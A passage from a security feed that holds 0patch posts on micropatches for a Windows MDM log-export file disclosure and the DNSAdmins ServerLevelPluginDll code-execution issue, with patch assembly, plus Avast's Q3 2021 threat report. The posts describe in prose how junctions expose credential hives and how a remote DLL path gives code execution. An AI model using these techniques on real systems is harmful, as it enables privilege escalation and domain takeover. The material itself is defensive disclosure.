In November, however, Abdelhamid pointed out that this - still unpatched - bug may not be just an information disclosure issue, but a local privilege escalation vulnerability. Namely, as HiveNightmare/SeriousSAM has taught us, an arbitrary file disclosure can* be upgraded to local privilege escalation if you know which files to take and what to do with them. We confirmed this by using the procedure described in this blog post by Raj Chandel in conjunction with Abdelhamid's bug - and being able to run code as local administrator.

(*) Two conditions need to be met in order for the local privilege escalation to work:

  1. System protection must be enabled on drive C, and at least one restore point created. Whether system protection is enabled or disabled by default depends on various parameters.  
  2. At least one local administrator account must be enabled on the computer, or at least one "Administrators" group member's credentials cached

The Vulnerability

The vulnerable functionality resides under the "Access work or school" settings and can be triggered by clicking on "Export your management log files" and confirming by pressing "Export". At that point, the Device Management Enrollment Service is triggered, running as Local System. This service first copies some log files to the C:\ProgramData\Microsoft\MDMDiagnostics folder, and then packages them into a CAB file whereby they're temporarily copied to C:\Windows\Temp folder. The resulting CAB file is then stored in the C:\Users\Public\Public Documents\MDMDiagnostics folder, where the user can freely access it.

It is the copying to C:\Windows\Temp folder that is vulnerable. Namely, a local attacker can create a soft link (junction) there with a predictable file name that will be used in the above-described process, pointing to some file or folder they want to have copied to the CAB file. Since the Device Management Enrollment Service runs as Local System, it can read any system file that the attacker can't.

Abdelhamid's POC targets the kernel dump files in folder C:\Windows\LiveKernelReports to demonstrate the issue, while we used SAM, SECURITY and SYSTEM files from a restore point folder to achieve local privilege escalation.

The vulnerability has CVE-2021-24084 assigned, but we still consider it a "0day" as no official vendor fix is available.

Our Micropatch

Abdelhamid's blog post suggested that user impersonation during CAB file creation would resolve the issue. While we agree with that, we were concerned that might break some use cases and rather decided to check for the presence of junctions during CAB file creation.

The function we patched is CollectFileEntry inside mdmdiagnostics.dll. This is the function that copies files from C:\Windows\Temp folder into the CAB file, and can be tricked into reading some other files instead.

Our patch is placed immediately before the call to CopyFileW that opens the source file for copying, and uses the GetFinalPathNameByHandleW function to determine whether any junctions or other types of links are used in the path. If they are, our patch makes it look as it the CopyFileW call has failed, thereby silently bypassing the copying of any file that doesn't actually reside in C:\Windows\Temp.

Here is the IDA graph showing our applied patch (green code blocks are patch code; blue code block is a trampoline with the original code).  



Microsoft's Fix

Microsoft's fix doesn't exist as of this writing, but when it becomes available, we'll describe it here. We find it likely that they'll either use caller impersonation during the CAB file creation, or check for junctions in the process like we did.

Micropatch Availability

This micropatch was written for: 

  1. Windows 10 v21H1 (32 & 64 bit) updated with November 2021 Updates
  2. Windows 10 v20H2 (32 & 64 bit) updated with November 2021 Updates
  3. Windows 10 v2004 (32 & 64 bit) updated with November 2021 Updates
  4. Windows 10 v1909 (32 & 64 bit) updated with November 2021 Updates
  5. Windows 10 v1903 (32 & 64 bit) updated with November 2021 Updates
  6. Windows 10 v1809 (32 & 64 bit) updated with May 2021 Updates
Windows Servers are not affected, as the vulnerable functionality does not exist there. While some similar diagnostics tools exist on servers, they are being executed under the launching user's identity, and therefore cannot be exploited.

Windows 10 v1803 and older Windows 10 versions don't seem to be affected either. While they do have the "Access work or school" functionality, it behaves differently and cannot be exploited this way. Windows 7 does not have the "Access work or school" functionality at all.

Note that Abdelhamid has also published a related POC for Windows 11 but that POC is actually exploiting a different vulnerability. 

Micropatches for this vulnerability will be free until Microsoft has issued an official fix. If you want to use them, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com. Everything else will happen automatically. No computer reboots will be needed.

We'd like to thank Abdelhamid Naceri for finding this issue and sharing details, which allowed us to create a micropatch and protect our users.

To learn more about 0patch, please visit our Help Center.




✇ 0patch Blog

Micropatch For Remote Code Execution by DNS Administrators (CVE-2021-40469)

By: Mitja Kolsek

by Mitja Kolsek, the 0patch Team


This is a story of a publicly known remote code execution vulnerability that somehow got ignored and mostly overlooked for four and a half years, meanwhile rediscovered a number of times, weaponized, and finally fixed this October with an unexpected acknowledgment.

Back in May 2017, security researcher Shay Ber published details about a vulnerability affecting Windows DNS Service. They found that any member of the DNSAdmins domain group can use their privileges to get the computer running the DNS Service to run arbitrary code as Local System - which equals a complete takeover of said computer. Since many domain controllers are running the DNS Service, this could mean a complete Windows domain takeover.

Note that DNSAdmins is a powerful group: being able to change domain DNS configuration allows one to cause all sorts of problems - but it doesn't automatically allow them to take over the domain. Typically, a DNS administrator is not allowed to login to the computer running the DNS Service (often a domain controller), and configures DNS from their own workstation using a DNS management tool that utilizes remote procedure calls (RPC).

Shay noticed that legitimate functionality of these remote procedure calls, conveniently made available by the Windows dnscmd.exe tool, can be used to remotely configure a DNS Service to load an arbitrary DLL from a network share and execute its code. This is due to the DNS Service checking, upon startup, the presence of registry value ServerLevelPluginDll and, if it exists, loading the DLL from the path specified therein. This value could be set remotely using the dnscmd.exe tool by members of the DNSAdmins group.

After reporting this to Microsoft, Shay was told that "it [would] be fixed by basically only allowing DC administrators to change the ServerLevelPluginDll registry key, and that it [would] be possible to toggle this feature off in future releases."

Although in their write-up Shay generously described the issue as "a cute feature (certainly not a bug!)", it was undeniably a privilege escalation - from non domain admin to domain admin - as well as a remote code execution issue - from computer one can run code on to computer one can't normally run code on.

In any case, the issue got largely forgotten, likely because of its "not a bug" classification, until another security researcher Sean Metcalf brought it up in their article a year and a half later. Fourteen months after that, security researcher Dhiraj Sharma revisited the original article and published a new write-up. Further nine months of nothing happening later, an exploit module got added to Metasploit, making it easier for attackers of all hat colors to exploit this issue. We're not done yet. In April and May 2021, security researcher Phakt wrote a two-part analysis of this issue, further dissecting it and shedding light on the "why" and offering an alternative for using the overly-permissive DNSAdmins group

Finally, this October's Windows Updates brought a fix, assigned the issue CVE-2021-40469, and, surprisingly, acknowledged (only) Yuki Chen, a regular reporter of Windows vulnerabilities, for finding and reporting this to Microsoft.

What a ride.


Microsoft's Fix

Microsoft's fix delivered by October 2021 updates did what was promised back in 2017: it introduced a new registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\InternalParameters with permissions only allowing administrators to modify its content. The ServerLevelPluginDll value has been moved from the Parameters key to this new key, making it impossible to change it with permissions provided by the DNSAdmins group. A decent fix, as far as we can tell.

The only thing not fixed were affected Windows servers that aren't receiving official Windows updates anymore: Windows Server 2008 R2 and Windows Server 2008 without Extended Security Updates. This is where we come in.

Our Micropatch

Our micropatch, the whole 19 CPU instructions of it, takes a bit different approach compared to Microsoft's fix. When applied (enabled), our micropatch forces the DNS Service to ignore the ServerLevelPluginDll value even if it's present in the registry. Based on the absolute absence of hits when googling for ServerLevelPluginDll and filtering out articles about exploiting this value, we assess that very few organizations are using this feature, so simply removing it - which our patch effectively does - is the optimal approach. This decision was in line with our goal of using minimal amount of code to fix the vulnerability. However, should a customer report that they're using this feature, we'll replace the patch with one that is functionally closer to Microsoft's.

Source code of our micropatch:

MODULE_PATH "..\Affected_Modules\dns.exe_6.1.7601.24437_Srv2008R2_64bit_NoESU\dns.exe"
VULN_ID 7208

    PIT msvcrt.dll!_wcsicmp,dns.exe!0x41171
        push rdi          ; storing register on stack to keep their values
        push rcx
        push rdx
        push r8
        push r9
        call VAR          ; trick to get address of string on stack
        dw __utf16__('ServerLevelPluginDll'), 0
        pop rdx           ; rdx points to string
        mov rcx, rdx      ; rcx points to
string 'ServerLevelPluginDll'
        mov rdx, r12      ; rdx points to name of registry value that
                          ; is currently being read from registry
        sub rsp, 20h      ; create home space for the 64bit call
        call PIT__wcsicmp ; compare strings case insensitive
        add rsp, 20h      ; abandon home space
        pop r9            ; restoring register values from stack
        pop r8
        pop rdx
        pop rcx
        pop rdi
        cmp rax, 0        ; were strings equal?
        je PIT_0x41171    ; if so, bypass reading from registry



And the video of our patch in action.

This micropatch was written for: 

  1. Windows Server 2008 (updated with January 2020 Updates - latest before end of support) 
  2. Windows Server 2008 R2 (updated with January 2020 Updates - latest before end of support)


To obtain the micropatch and have it applied on your computer(s) along with other micropatches included in a 0patch license, create an account in 0patch Central, install 0patch Agent and register it to your account, then purchase an appropriate 0patch license. Note that no computer restart is needed for installing the agent or applying/un-applying any 0patch micropatch. For a 0patch trial, contact [email protected]

We'd like to thank Shay Ber for finding this issue and sharing details, which allowed us to create a micropatch and protect our users. Thank you also to Yuki Chen, who appears to have been the one finally pushing the official vendor fix out the door.

To learn more about 0patch, please visit our Help Center.




✇ Avast Threat Labs

Avast Q3’21 Threat Report

By: Threat Research Team

Latest Avast Q3’21 Threat Report reveals elevated risk for ransomware and RAT attacks, rootkits and exploit kits return.


The threat landscape is a fascinating environment that is constantly changing and evolving. What was an unshakeable truth for a long time is no longer valid the next day; the most prevalent threats suddenly disappear, but are usually quickly replaced by at least two new ones; or that the bad guys standing behind these threats always come with new techniques when trying to get their profit.

Together with my colleagues, we came to the conclusion that it would be selfish to keep our insight into this landscape just for ourselves so we decided to start with publishing periodic Avast threat reports. Here, we would like to share with you details about emerging threats, stories behind malware strains and their spreading, and of course stats from our 435M+ endpoints telemetry.

So let us start with the Q3 report, and I must say it was a juicy quarter. To give you a sneak peak of the report: My colleagues published details about an ongoing APT campaign targeting the Mongolian certification authority MonPass. Another novel research was the discovery of the Crackonosh crypto stealer that earned more than $2 million USD to its operators. We were also intently monitoring which botnet will replace the previous kingpin Emotet in Q3. Furthermore, there was a rampant spreading of banking trojans on mobile (especially FluBot) and rootkits on Windows almost doubled their activity in September compared to the previous period. And for me, it started on July 2 at night with the Sodinokibi/REvil ransomware supply chain attack on the Kaseya MSP, it abused Microsoft Defender, there was involvement of world leaders, and precise timing (happening during my threat labs duty – respect to all infosec fellows that were dealing with that on this Independence weekend). As I said – it’s a fascinating environment…

Jakub Křoustek, Malware Research Director


This report is structured as two main sections – Desktop, informing about our intel from Windows, Linux, and MacOS, and Mobile, where we inform about Android and iOS threats.

Furthermore, we use the term risk ratio in this report for informing about the severity of particular threats, which is calculated as a monthly average of “Number of attacked users / Number of active users in a given country”. Unless stated otherwise, the risk is available just for countries with more than 10,000 active users per month.


Advanced Persistent Threats (APTs)

In Q3 of 2021, we saw APT activity on several fronts: continued attacks against Certificate Authorities (CAs), the Gamaredon group targeting military and government targets, and campaigns in Southeast Asia.

Certificate Authorities (CAs) are always of increased interest to APT groups for multiple reasons. By their very nature CAs have a high level of trust, they often provide services to the government organisations or being a part of one themselves, making them a perfect target for supply chain attacks. A well-known example was the targeting of the Vietnam Government Certification Authority in 2020. In Q3 Avast also wrote about activity targeting the Mongolian CA MonPass.

At the very beginning of Q3, Avast researchers discovered and published a story about an installer downloaded from the official website of Monpass, a major certification authority (CA) in Mongolia in East Asia that was backdoored with Cobalt Strike binaries. 

A public web server hosted by Monpass was breached potentially eight separate times: we found eight different webshells and backdoors on this server. The MonPass client available for download from 8 February 2021 until 3 March 20 2021 was backdoored. Adversaries used steganography to decrypt and implant Cobalt Strike beacons.

Additionally during the last few months we’ve seen an increased activity of the Gamaredon group primarily in Ukraine. The main targets of the group remain military and government institutions. The group keeps utilizing old techniques it’s been using for years in addition to a few new tools in their arsenal. Malware associated with Gamaredon was among the most prevalent between APT groups we tracked in this quarter.

Groups operating in Southeast and East Asia were active during this period as well. We’ve seen multiple campaigns in Myanmar, Philippines, Hong Kong and Taiwan. The majority of the actors in the region can be identified as Chinese-speaking groups. Technique of choice among these groups remains sideloading. We’ve seen samples with main functionality to search for potential candidates for sideloading on a victim’s machine, so they are not going to abandon this technique anytime soon.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Michal Salát, Threat Intelligence Director


Old botnets still haven’t said their last word. After Emotet’s takedown at the start of 2021, Trickbot has been aspiring to become its successor. Moreover, despite numerous takedown attempts, Trickbot is still thriving. Qakbot came up with a rare change in its internal payload which brought restructured resources. As for Ursnif (aka Gozi), the activity in Q3 kept its usual pace – with new webinjects and new builds being continuously released. However, Ursnif’s targets remain largely the same – European, and especially Italian, banks and other financial organisations. Surprisingly, Phorpiex seemed to maintain its presence, even though its source code has been reported to be on sale in August. This is especially true for Afghanistan, Turkmenistan, and Yemen where Phorpiex is especially prolific, significantly contributing to their above-average risk ratio.

Below is a heatmap showing the distribution of botnets that we observed in Q3 2021.

The IoT and Linux bot landscape is a wild west, as usual. We are still seeing many Gafgyt and Mirai samples trying to exploit their way onto various devices. The trend of these families borrowing the code from each other still continues, so while we sometimes see samples being worthy of being called a new strain, many samples continue to blur the line between Gafgyt and Mirai strains. We expect this trend to continue – both strains have their source code available, and the demand for DDoS does not lessen. Due to their popularity, the source code is also often used by technically less proficient adversaries, partially explaining the latter trend of code reuse.

Q3’s surprise has been the MyKings botnet which has had quite a profitable campaign. Their cryptoswapper campaign has managed to amass approximately 25 million dollars in Bitcoin, Ethereum and Dogecoin.

Changes in malware distribution methods

In Q3 2021, we saw a shift in bot and RAT distribution. Threat actors are finding new ways of abusing third party infrastructure. While we have previously seen various cloud storages (e.g. OneDrive) or Pastebin, we are also seeing more creative means such as Google’s feedproxy.google.com for C&C URLs or Discord’s CDN as a distribution channel. This makes it easier for them to avoid reputation services meant to combat malware distribution, though at the cost that their channels may get disrupted by the service provider. Since we’ve already seen communication platforms such as Discord or Telegram being also abused for exfiltration or as C&C, we can expect this trend to spread to other similar automation-friendly services.

Adolf Středa, Malware Researcher 

Infrastructure as a service for malware

It seems that infrastructure as a service for malware and botnets is on the rise by using commodity routers and IoT devices. Threat actors realized that it’s far easier to misuse these devices as a proxy to hide malicious activity than crafting specific malware for such a variety of architectures and devices. It also seems that we are witnessing botnets of enslaved devices being sold as a service to various threat actors. 

In Q2 and Q3, we’ve seen a new campaign dubbed Mēris. This campaign attacked Mikrotik routers, already known to be problematic since 2018, for DDoS attacks against Yandex servers. Further analysis showed that this attack had been just one of the campaigns run through the MikroTik botnet as a service providing anonymizing proxies. It turned out that the botnet consisted of approximately 200K of enslaved devices with an opened SOCKS proxy being ready for hire on darknet forums. It’s believed that this actor has been controlling this botnet since 2018. Moreover, there are ties to Glupteba and coin mining campaigns in 2018. Although most of the botnet has been taken down, the original culprit and vulnerabilities in the Mikrotik routers seem to be still open. The attack vector is notoriously well-known and is common for most of the IoT and router devices: unpatched firmware and default credentials. We’ll inevitably see more of this trend in the future.

Below is a heatmap showing the prevalence of unpatched Mikrotik routers in Q3 2021.

Martin Hron, Malware Researcher


Coinminers are malware that hijacks resources of infected PCs to mine cryptocurrency and send its profit directly to the attacker while the electricity bill is left for the victim. The number of users attacked by coinminers has actually stayed steady or even lowered some in Q3 2021 compared to the beginning of the year as shown below.

It is possible that this stagnant or even lowering threat trend is due to the prices of cryptocurrencies. The prices of Bitcoin, Etherum and Monero were on the low end from the end of May until the end of July. Q3 saw a significant sell-off of Bitcoin especially in response to increased signals that the Chinese government would move to regulate cryptocurrency. As a consequence the number of coinmining attacks we saw in Q3 were low and we did not observe any new threats. 

The most prevalent mining software used in coinminers was still XMRig (28%). The geological distribution of coinminers is almost the same as in Q2 as shown below.

It is hard to estimate how much the attackers obtained by mining, because they usually use untraceable cryptocurrency such as Monero. But we have some pieces of the puzzle. We were able to track some payments for Crackonosh malware. Our analysis shows that it was able to mine over $2 million USD since 2018. Crackonosh represents just about 2% of all coinminer attacks we see in our userbase. Crackonosh is packed with cracked copies of popular games, it uses Windows Safe Mode to uninstall antimalware software (note that Avast users are protected against this tactic) and then it installs XMRig to mine Monero.

Daniel Beneš, Malware Researcher


Q3 was a thrilling quarter from the ransomware perspective. One can almost get used to newspaper headlines about ransomware breaches and attacks on large companies on a daily basis (e.g. Olympus and Newcoop attacks by BlackMatter ransomware), but at the same time, we witnessed a huge supply chain attack not seen for a while, involvement of state leaders in addressing it and much more.

Overall, Q3 ransomware attacks were 5% higher than in Q2 and even 22% higher than in Q1 2021.

At the very beginning of Q3 (July 2), we spotted an attack of the Sodinokibi/REvil ransomware delivered via a supply chain attack on Kaseya MSP. The impact was massive – more than 1,500 businesses were targeted. Also other parts of the attack were fascinating. This particular cybercriminal group used the DLL sideloading vulnerability of Microsoft Defender for delivery of the target payload, which could have confused some security solutions. We’ve seen abuse of this particular Defender application already in May 2020. Overall, we’ve noticed and blocked this attack on more than 2.4k endpoints based on our telemetry. The story of this attack continued over Q3 with involvement of presidents Joe Biden and Vladimir Putin resulting in ransomware operators releasing the decryption key, which helped with unlocking files of affected victims. It gave us one more clue for the attribution of the origin of this (R)evil. After the release of the decryption key, Sodinokibi went silent for almost two months – their infrastructure went down, no new variants were seen in the wild, etc. However, it was us who detected (and blocked) its latest variant on September 9. This story evolved in November, but let’s keep it for the Q4 report.

However, Sodinokibi was only one piece of the ransomware threat landscape puzzle in Q3. The top spreading strains overall were:

  • STOP/Djvu – often spread via infected pirated software
  • WannaCry – the one and only, still spreading after four years via the EternalBlue exploit
  • CrySiS – also spreading for a long time via hacked RDP
  • Sodinokibi/REvil
  • Various strains derived from open-source ransomware (HiddenTear, Go-ransomware, etc.)

Furthermore, there were multiple active strains focused on targeted attacks on businesses, such as BlackMatter (previously DarkSide) and various ransomware strains from the Evil Corp group (e.g. Grief) and Conti.

The heat map below shows the risk ratio of users protected against ransomware Q3 2021.

As shown below the distribution of ransomware attacks was very similar to previous quarters except for a 600% increase in Sweden that was primarily caused by the aforementioned Kaseya supply chain attack.

hits trendline

The number of protected users by ransomware attacks was highest in July, and it decreased slightly in August and September. 

Jakub Křoustek, Malware Research Director

Remote Access Trojans (RATs)

Unlike ransomware, RAT campaigns are not as prevalent in newspaper headlines because of their very secretive nature. Ransomware needs to let you know that it is present on the infected system but RATs try to stay stealthy and just silently spy on their victims. The less visible they are the better for the threat actors. 

In Q3, three new RAT variants were brought to our attention. Among these new RATs were FatalRAT with its anti-VM capabilities, VBA RAT which was exploiting the Internet Explorer vulnerability CVE-2021-26411, and finally a new version of Reverse RAT with build number 2.0 which added web camera photo taking, file stealing and anti-AV capabilities.

But these new Remote Access Trojans haven’t drastically changed representation of RAT type in the wild yet.

We saw an  elevated risk ratio for RATs in many countries all over the world. In particular, we had to protect more users in countries such as Russia, Singapore, Bulgaria or Turkey where RAT attacks were elevated this quarter. 

In the heat map below, we can see the risk ratio for RATs globally in Q3 2021. 

Distribution of RAT risk ratio worldwide

Out of all users attacked by RATs in Q3, 19% were attacked by njRAT (also known as Bladabindi). njRat has been spreading since 2012 and it owes its popularity to the fact that it was open sourced a long time ago and many different variants were built on top of its source written in VB.NET. After njRAT, the most prevalent RAT strains were: 

  • Remcos ‒ 11%
  • AsyncRat ‒ 10%
  • NanoCore ‒ 9%
  • Warzone ‒ 6%
  • QuasarRAT ‒ 5%
  • NetWire ‒ 5%
  • DarkComet ‒ 4%

What made these RATs so popular and what was the reason they spread the most? The answer is simple, all of them were either open-sourced or cracked and that helped their popularity especially among less sophisticated script-kiddie attackers and among users of many hacking forums where they were often shared. njRat, Remcos, AsyncRat, NanoCore and QuasarRat were open-sourced and the rest was cracked. From this list only Warzone had a working paid subscription model from its original developer. Attackers used these RATs especially for industry espionage, credentials theft, stalking and with many infected computers, even DDOS.

Samuel Sidor, Malware Researcher


A rootkit is malicious software designed to give unauthorized access with the highest system privileges. Rootkits commonly provide services to other malware in the user mode. It typically includes functionality such as concealing malware processes, files and registry entries. In general, the rootkits have total control over a system they operate in the kernel layer, including modifying critical kernel structures. Rootkits are still popular techniques to hide malicious activity despite a high risk of being detected because the rootkits work in the kernel mode, and each critical bug can lead to BSoD.

We have recorded a significant increase in rootkit activity at the end of Q3, illustrated in the chart below. While we can’t be sure what’s behind this increase, this is one of the most significant increases in activity in Q3 2021 and is worth watching. It also underscores that defenders should be aware that rootkits, which have been out of the spotlight in recent years, remain a threat and in fact are increasing once again.

hits trendline

The graph below demonstrates that China and adjacent administrative areas (Macao, Taiwan, Hong Kong) are the most risk counties from the point of view of protected users in Q3 of 2021.

In Q3, we have also become interested in analyzing the code-signing of a rootkit driver, which protects the malicious activity of a complex and modularized malicious backdoor utilizing sophisticated C&C communication, self-protection mechanisms, and a wide variety of modules performing various suspicious tasks, called DirtyMoe focusing on the Monero mining.

This research has led us to the issue of signing windows drivers with revoked certificates. There have been identified 3 revoked certificates that sign the DirtyMoe rootkit and also sign other rootkits. Most users have been attacked in Russia (40%), China (20%), and Ukraine (10%).

Martin Chlumecký, Malware Researcher

Information Stealers

In Q3, we’ve seen a steady increase in numbers of various information stealers as can be seen on the daily spreading chart below.

protected users trendline

The risk ratio of this threat is globally high and similar across the majority of countries worldwide with peaks in Africa and the Middle East.

One of such stealers is a clipboard stealer, distributed by a notorious botnet called MyKings, that focuses on swapping victim’s cryptocurrency wallet addresses present in their clipboard with an attacker’s address. When the victim copies data into their clipboard, the malware tries to find a specific pattern in the content of the clipboard (such as a web page link or a format of cryptocurrency wallet) and if it is found, the content is replaced with the attackers’ information. Using this simple technique, the victim thinks for instance they pasted their friend’s cryptowallet address while the attacker changed the address in the meantime to their own, effectively redirecting the money.

MyKings also changes two kinds of links when present in the victim’s clipboard – Steam trade offer links and Yandex Disk storage links. This way, the attacker changes the Steam trade offer from the victim to himself, thus giving the trade over to the attacker who pockets the money. Furthermore, when the user wants to share a file via Yandex Disk storage cloud service, the web link is changed with a malicious one – leading the victim to download further malware because there is no reason to suspect the link is malicious when received from a friend.

Our research has shown that, since 2019, the operators behind MyKings have amassed at least $24 million USD (and likely more) as of 2021-10-05 in the Bitcoin, Ethereum, and Dogecoin cryptowallets associated with MyKings. While we can’t attribute this amount solely to MyKings, it still represents a significant sum that can be tied to MyKings activity. In addition to the aforementioned amounts, the clipboard stealer also focuses on more than 20 different cryptocurrencies, further leveraging the popularity of the cryptocurrency world. In Q3, MyKings was most active in Russia, Pakistan, and India.

Furthermore, Blustealer is a new and emerging stealer first seen at the beginning of Q3 and spiked in activities around 10-11 September. Primarily distributed through phishing emails, Blustealer is capable of stealing credentials stored in web browsers and crypto wallet data, hijacking crypto wallet addresses in clipboard, as well as uploading document files. The current version of Blustealer uses SMTP (email) and Telegram (Bot API) for data exfiltration.

Jan Rubín, Malware Researcher
Jakub Kaloč, Malware Researcher
Anh Ho, Malware Researcher

Technical support scams

Tech support scam (or TSS in short) is a big business and the people behind it use a number of techniques to try and convince you that you need their help. Most of the techniques these websites use are aimed at making your browser and system seem broken.

This topic became very popular on Youtube and TikTok as it attracted the attention of “scambaiters” – a type of vigilante who disrupts, exposes or even scams the world’s scammers.

We’ve seen a growing trend of TSS attacks with its peak at the end of August as shown below..

hits trendline

Overall we can see the distribution of  TSS attacks globally in Q3 2021 below.

We’ve divided these fraudsters into groups according to geography and similar attack patterns. These groupings can include multiple fraud groups that use the same tool, or use similar browser locking methods. The following table represents the unique hits for each group.

The most prevalent group in Q3 2021, called GR2 by us, typically targets mostly European countries, such as Russia, France, Ukraine, or Spain. These countries also had a high TSS risk ratio overall together with Iceland, Uzbekistan, and Rwanda.

We can see how GR2 was the most active TSS group and had its peak in mid-July.

Alexej Savčin, Malware Analyst

Vulnerabilities and Exploits

Q3 has seen plenty of newly discovered vulnerabilities. Of particular interest was PrintNightmare, a vulnerability in the Windows Print Spooler, which allowed for both local privilege escalation (LPE) and remote code execution (RCE) exploits. A Proof of Concept (PoC) exploit for PrintNightmare got leaked early on, which resulted in us seeing a lot of exploitation attempts by various threat actors. PrintNightmare was even integrated into exploit kits such as PurpleFox, Magnitude, and Underminer

Another vulnerability worth mentioning is CVE-2021-40444. This vulnerability can either be used to create malicious Microsoft Office documents (which can execute malicious code even without the need to enable macros) or it can be exploited directly against Internet Explorer. We have seen both exploitation methods used in-the-wild, with a lot of activity detected shortly after the vulnerability became public in  September 2021. One of the first exploit attempts we detected was against an undisclosed military target, which proves yet again that advanced attackers waste no time weaponizing promising vulnerabilities once they become public.

We’ve also been tracking exploit kit activity throughout Q3. The most active exploit kit was PurpleFox, against which we protected over 6k users per day on average. Rig and Magnitude were also prevalent throughout the whole quarter. The Underminer exploit kit woke up after a long period of inactivity and started sporadically serving HiddenBee and Amadey. Even though it might seem that exploit kits are becoming a thing of the past, we’ve witnessed that some exploit kits (especially PurpleFox and Magnitude) are being very actively developed, regularly receiving new features and exploitation capabilities. We’ve even devoted a whole blog post to the recent updates in Magnitude. Since that blog post, Magnitude continued to innovate and most interestingly was even testing exploits against Chromium-based browsers. We’ll see if this is the beginning of a new trend or just a failed experiment.

PurpleFox EK hits trendline

Overall, Avast users from Singapore, Czechia, Myanmar, Hong Kong and Yemen had the highest risk ratio for exploits, as can be seen on the following map.

The risk ratio for exploits was growing in Q3 with its peak in September.

hits trendline

Michal Salát, Threat Intelligence Director
Jan Vojtěšek, Malware Researcher

Web skimming 

Ecommerce websites are much more popular than they used to be, people tend to shop online more and more often. This led to the growth of an attack called web skimming. 

Web skimming is a type of attack on ecommerce websites in which an attacker inserts malicious code into a legitimate website. The purpose of the malicious code is to steal payment details on the client side at the moment the customer fills in their details in the payment form. These payment details are usually sent to the attacker’s server. To make the data flow to a third-party resource less visible, fraudsters often register domains resembling the names of popular web services like google-analytics, mastercard, paypal and others.

The map below shows that users from Australia, the United States, Canada, Brazil and Argentina were most at risk in Q3. Of the smaller countries, we can see Guatemala and Slovenia at the top. The high risk ratio in Guatemala was caused by an infected eshop elduendemall[.]com

hits trendline

Top two malicious domains used by attackers were webadstracker[.]com and ganalitics[.]com. Webadstracker[.]com was blocked by Avast from 2021-03-04 and was active from then for the whole Q3. It indicates that unlike phishing sites, which are active usually for a couple of days, web skimming domains can be active much longer. Webadstracker[.]com is hosted on Flowspec, which is known as one of the bulletproof hosting providers. From all web skimming incidents we observed, 8.6% were on this domain. With this domain, we can link other domains on the same IP, which was also used for web skimming attacks in Q3:

  • webscriptcdn[.]com
  • cdncontainer[.]com
  • cdnforplugins[.]com
  • shoppersbaycdn[.]com
  • hottrackcdn[.]com
  • secure4d[.]net

We were able to link this IP ( with 75 infected eshops. Lfg[.]com[.]br was the top ecommerce website infected with webadstracker[.]com was in Q3.

Pavlína Kopecká, Malware Analyst


Open Firebase instances

Firebase is Google’s mobile and web app development platform. Developers can use Firebase to facilitate developing mobile and web apps, especially for the Android mobile platform. In our study we discovered that more than 10% of about 180,000 tested Firebase instances, used by Android apps, were open. The reason is a misconfiguration, made by application developers. Some of these DBs exposed sensitive data, including plaintext passwords, chat messages etc. These open instances pose a significant risk of users’ data leakage. Unfortunately, ordinary users can’t check if DB used by an application is misconfigured, moreover it can become open at any moment.

Vladimir Martyanov, Malware Researcher


Adware continues to be a dominant threat on Android. This category may take various forms – from traditional aggressive advertising on either legitimate or even fake applications to completely fake applications that, while installed with an original purpose of stopping adware, end up doing exactly the opposite and bombard the user with out-of-context ads (for example FakeAdBlocker).

The degree to which the aggressive advertisement is shown to the user – either in app or out-of-context very negatively affects the user’s experience, not to mention that in the case of out-of-context ads the user has a very difficult time of actually locating the source of such spam.

A special category in this regard is the so called Fleeceware, which we have been observing both on iOS and Android already for quite some time, this type of threat is still present in Q3 in the official marketplaces and users should be aware of such techniques so that they can actively avoid falling for it.

Ondřej David, Malware Analysis Team Lead

Bankers – FluBot

We have seen a steady increase in the number of mobile banking threats for a while now, but none more than in Q3 2021. This can be best evidenced on a strain called FluBot – while this strain has been active since Q1/Q2, we’ve seen it make a couple of rounds since then. By Q3 it became an established threat in the Android banking threat landscape. 

Its advanced and highly sophisticated spreading mechanisms – using SMS messages typically posing as delivery services to lure the victims into downloading a “tracking app” for a parcel they recently missed or should be expecting – as well as the relentless campaigns account for a successful strain in the field. But even these phishing SMS messages (aka. smishing) have evolved and especially in Q3 we have seen novel scenarios in spreading this malware. One example is posing as voicemail recorders. Another is fake claims of leaked personal photos. The most extreme of these variants would then even lure the victim to a fake page that would claim  the victim has already been infected by FluBot when they probably weren’t yet and trick them into installing a “cure” for the “infection”. This “cure” would in fact be the FluBot malware itself. 

We have seen a steady expansion of the scope where FluBot operated throughout Q2 and mainly Q3, where initially it was targeting Europe – Spain, Italy, Germany, later spreading throughout the rest of Europe, but it didn’t end there. In Q3 we’ve seen advisories being posted in many other countries, including countries like Australia and New Zealand. This threat affects only Android devices – iOS users may still occasionally receive the phishing SMS messages, but the malware would not be able to infect the device.

The heat map below shows the spread of Flubot in Q3 2021 and the graph shows the increase in Flubot infections in that same time period.

hits trendline

Ondřej David, Malware Analysis Team Lead


Perhaps the most discussed mobile threat in Q3 was the infamous Pegasus spyware. Developed by Israeli’s NSO Group this threat targeted primarily iOS device users with known Android variants as well. Due to the usage of zero-click vulnerabilities in the iMessage application the attackers were able to infect the device without any user interaction necessary. This makes it a particularly tricky and sophisticated threat to deal with. Fortunately for the majority of the users this type of attack is unlikely to be used on a mass scale, but rather in a highly targeted manner against high profile or high value targets

Acting as a full blown spyware suite, Pegasus is capable of tracking location, calls, messages and many other personal data. Pegasus as a strain is not exactly new, its roots go deep into history as far back as at least 2016. The threat as well as its distribution methods have changed significantly since the early days however. For a successful stealthy distribution of this threat the malicious actors needed to keep finding vulnerabilities in the ever updating OS or default apps that could be used as a way to infect the device – ranging from remote jailbreaks to the latest versions utilizing zero-click exploits.

Best protection against this type of threat is to keep your mobile device’s operating system updated to the latest version and have all the latest security updates installed.

Ondřej David, Malware Analysis Team Lead

Acknowledgements / Credits

Malware researchers
  • Adolf Středa
  • Alexej Savčin
  • Anh Ho
  • Daniel Beneš
  • David Jursa
  • Igor Morgenstern
  • Jakub Kaloč
  • Jakub Křoustek
  • Jan Rubín
  • Jan Vojtěšek
  • Luigino Camastra
  • Martin Chlumecký
  • Martin Hron
  • Michal Salát
  • Ondřej David
  • Pavlína Kopecká
  • Samuel Sidor
  • Vladimir Martyanov
Data analysts
  • Lukáš Zobal
  • Pavol Plaskoň
  • Petr Zemek
  • Christopher Budd
  • Marina Ziegler

The post Avast Q3’21 Threat Report appeared first on Avast Threat Labs.

✇ 0patch Blog

Micropatching Incompletely Patched Local Privilege Escalation in User Profile Service (CVE-2021-34484)

By: Mitja Kolsek



by Mitja Kolsek, the 0patch Team

